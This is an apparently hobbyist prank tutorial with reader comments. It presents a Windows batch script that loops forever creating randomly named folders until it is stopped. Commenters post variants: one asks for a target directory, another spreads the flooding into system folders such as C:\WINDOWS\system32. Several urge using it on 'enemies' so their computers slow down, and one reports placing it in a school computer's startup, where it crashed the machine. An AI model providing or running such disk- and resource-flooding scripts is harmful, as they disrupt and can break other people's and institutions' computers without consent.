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Funny Folder Prank

Funny Folder Prank
This will teach you how to make an unlimmited amount of folders in any place you want it will just keep making them untill you exit

i aloud it to run for 5 seconds and it made over 1,000 folders
 
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All you have to do is type

@echo off
:top
md %random%
goto top

@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folders and the only time it will say something is if it creats the same title twice

then save it in the folder you want it to make the folders in, save it as funnyfolderprank.bat or watever you want just so it says .bat at the end
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Sep 6, 2010. 10:51 AMtrmatthe says:
If you change the md line to read: "md %random% > nul" (ignore the quotes, it's just so you can see the command line) then even if random hits the same value more than once you won't get any error messages. The > nul part means redirect standard output to nul which is a special device that discards any input. Also, this will work on any PC running any version of Windows. The script is a batch file so it'll actually work in MS-DOS too, so no need to use Vista/XP/W7 or the like.
Feb 7, 2010. 8:03 PMqwasewq says:
lol left running for five mins and it created over 2 mil folders
Dec 25, 2008. 4:48 PMdude111115 says:
dude, GET RID OF THIS! THIS IS DANGEROUS TO THE NEW COMPUTERS!!!!INCLUDING MINE! dude, i ran that bat for 5 seconds, and it made 6,785 folders!!!!!!! it took 20 seconds for my computer to ask me if i wanted to delete them!!!! YOU NEED TO HANDLE THIS CAREFULLY GUYS!
Nov 22, 2009. 10:06 PMfreekofnature says:
dude we know. thats probably the whole point of it, to slow down computers. use it on ur enemies lol. they will get so pissed but they dont know what happened.
Nov 22, 2009. 10:02 PMfreekofnature says:
this was awesome. at first i thought it only worked on vista cuz of the pic but it works on XP to. its really fun so u should try it

@echo off
:top
md %random%
goto top
Sep 21, 2009. 3:16 PMnivekcizia says:
@echo off A: md %random% goto a This crashed the school computer that i put the program on startup on
Sep 21, 2009. 6:54 AMmattronix says:
if you like my work il make some more or an instrustible about it
Sep 21, 2009. 6:43 AMmattronix says:
i ran this program and 5 seconds i closed nothing then poof over 1300 files apeared i think if you do this then make it change directorys all over your pc it will be the most anying prank ever i think the command with be dont hold me to this im a newbie batch maker plse help my by telling me my mistakes @echo off :to md %random% cd C:\Documents and Settings md %random% cd c:\ md %random% cd C:\WINDOWS md %random% cd C:\WINDOWS\system32 md %random% cd Desktop md %random% goto to i tested that but only i make 3 folder in my documents and it works feal free to edit and use and thank computerfaker3 for the idaer
Dec 30, 2008. 5:50 PMPsychic Master says:
i just made a new version

in this one you can choose the directory you want the folders to be made on



@echo off
:top
echo enter a directory on the host computer.
set /p dir1=
cd %dir1%
pause
cls
echo loading...
md %random%
goto top


Jan 29, 2009. 5:36 PMDYLEGO says:
Dude, just say his is cool. His is better, because it can do everything yours does and more. Plus, all they have to do to see your other instructables is click your username. Also, you never said to open up notepad.
Dec 30, 2008. 5:38 PMPsychic Master says:
this is AWESOME!!!!!!!5 out of 5
Dec 27, 2008. 11:42 PMdude111115 says:
haha, if you guys do do this, when the bar hits the bottom then its already made about 4000-4400 folders, i tested on a dual-core vista pc... now i know what to do to my enemies computers, haha, slows it down like hell
Dec 25, 2008. 4:49 PMdude111115 says:
any computers like mine that have 2.0 ghz processor or better, DONT DO THIS! way to many folders in way to little time!!! i feel sorry for anyone who runs this for any extensive amount of time!

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